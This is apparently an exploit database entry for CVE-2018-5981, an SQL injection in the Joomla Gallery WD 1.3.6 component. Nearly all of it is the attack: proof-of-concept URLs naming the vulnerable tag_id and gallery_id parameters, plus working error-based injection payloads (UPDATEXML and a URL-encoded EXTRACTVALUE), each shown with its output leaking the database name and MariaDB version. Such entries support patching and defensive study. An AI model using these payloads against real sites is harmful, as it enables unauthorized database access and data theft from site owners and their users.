# # # # # Exploit Title: Joomla! Component Gallery WD 1.3.6 - SQL Injection # Dork: N/A # Date: 16.02.2018 # Vendor Homepage: https://web-dorado.com/ # Software Link: https://extensions.joomla.org/extensions/extension/photos-a-images/galleries/gallery-wd/ # Software Download: https://web-dorado.com/?option=com_wdsubscriptions&view=dwnldfree&format=row&id=162 # Version: 1.3.6 # Category: Webapps # Tested on: WiN7_x64/KaLiLinuX_x64 # CVE: CVE-2018-5981 # # # # # Exploit Author: Ihsan Sencan # # # # # # POC: # # 1) # http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=7[SQL] # # # 2) # http://localhost/[PATH]/index.php?option=com_gallery_wd&tag_id=[SQL]&view=GalleryBox&gallery_id=7 # # # # # # http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=(UPDATEXML(1,CONCAT(0x2e,database(),(SELECT (ELT(2=2,1))),version()),8599))&view=GalleryBox &gallery_id=7 1105 XPATH syntax error: 'joomla375110.1.21-MariaDB' http://localhost/Joomla375/index.php?option=com_gallery_wd&tag_id=&view=GalleryBox&gallery_id=%37%20%41%4e%44%20%45%58%54%52%41%43%54%56%41%4c%55%45%28%37%30%39%32%2c%43%4f%4e%43%41%54%28%30%78%35%63%2c%76%65%72%73%69%6f%6e%28%29%2c%28%53%45%4c%45%43%54%20%28%45%4c%54%28%37%30%39%32%3d%37%30%39%32%2c%31%29%29%29%2c%64%61%74%61%62%61%73%65%28%29%29%29 1105 XPATH syntax error: '\10.1.21-MariaDB1joomla375'